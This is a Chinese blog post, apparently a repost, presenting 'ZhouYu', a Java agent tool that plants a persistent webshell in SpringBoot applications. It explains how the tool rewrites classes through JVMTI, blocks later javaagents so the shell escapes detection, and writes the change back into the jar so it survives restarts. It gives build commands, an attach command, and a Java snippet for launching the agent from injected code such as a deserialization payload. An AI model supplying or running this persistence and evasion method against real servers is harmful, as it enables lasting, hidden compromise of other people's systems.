SpringBoot 持久化 WebShell

6,925次阅读
没有评论

共计 918 个字符,预计需要花费 3 分钟才能阅读完成。

后 Spring 时代,SpringBoot jar 部署模式下,一般没有了 JSP,所有的模板都在 jar 内,当大家都热衷于内存马的时候,发现很容易被查杀(网上查杀方式无外乎都是利用 JVMTI 重加载 class 的 javaagent 方式),并且重启后丢失!

  1. ZhouYu 带来新的 webshell 写入手法,通过 javaagent,利用 JVMTI 机制,在回调时重写 class 类,插入 webshell,并通过阻止后续 javaagent 加载的方式,防止 webshell 被查杀
  2. 修改的 class 类插入 webshell 后,通过持久化到 jar 进行 class 替换,达到 webshell 持久化,任你如何重启都无法甩掉

一、打包编译

命令:

gradle :agent:shadowJar

./gradlew :agent:shadowJar

编译后得到 agent/build/libs/agent-xxx.jar,即 ZhouYu.jar

二、使用方式

两种场景:

  1. 当你知道 jvm pid 时,并且能写入临时文件(ZhouYu.jar),一般这种场景不太常见,测试场景比较多
java -jar ZhouYu.jar 23232,23232 为需要 attach 的 jvm 进程号!
  1. 能执行一小段代码(内存 shell 的原理一般是反序列化时加载一段恶意字节码)

先把编译后得到的 ZhouYu.jar 写到临时目录,例:/tmp/ZhouYu.jar

接着执行下面代码:

try {String pid = java.lang.management.ManagementFactory.getRuntimeMXBean().getName();
  int indexOf = pid.indexOf('@');
  if (indexOf> 0) {pid = pid.substring(0, indexOf);
    Runtime.getRuntime().exec(String.format("java -jar /tmp/ZhouYu.jar %s", pid));
  }
} catch (Throwable throwable) {
}

WARNNING

为了防止出现生产事故,在对原有 jar(A.jar)进行替换修改前,会对其进行备份,备份到当前目录下(命名为.A.jar.bk)

    正文完
     0
    Yojack
    版权声明:本篇文章由 Yojack 于1970-01-01发表,共计918字。
    转载说明:
    1 本网站名称:优杰开发笔记
    2 本站永久网址:https://yojack.cn
    3 本网站的文章部分内容可能来源于网络,仅供大家学习与参考,如有侵权,请联系站长进行删除处理。
    4 本站一切资源不代表本站立场,并不代表本站赞同其观点和对其真实性负责。
    5 本站所有内容均可转载及分享, 但请注明出处
    6 我们始终尊重原创作者的版权,所有文章在发布时,均尽可能注明出处与作者。
    7 站长邮箱:laylwenl@gmail.com
    评论(没有评论)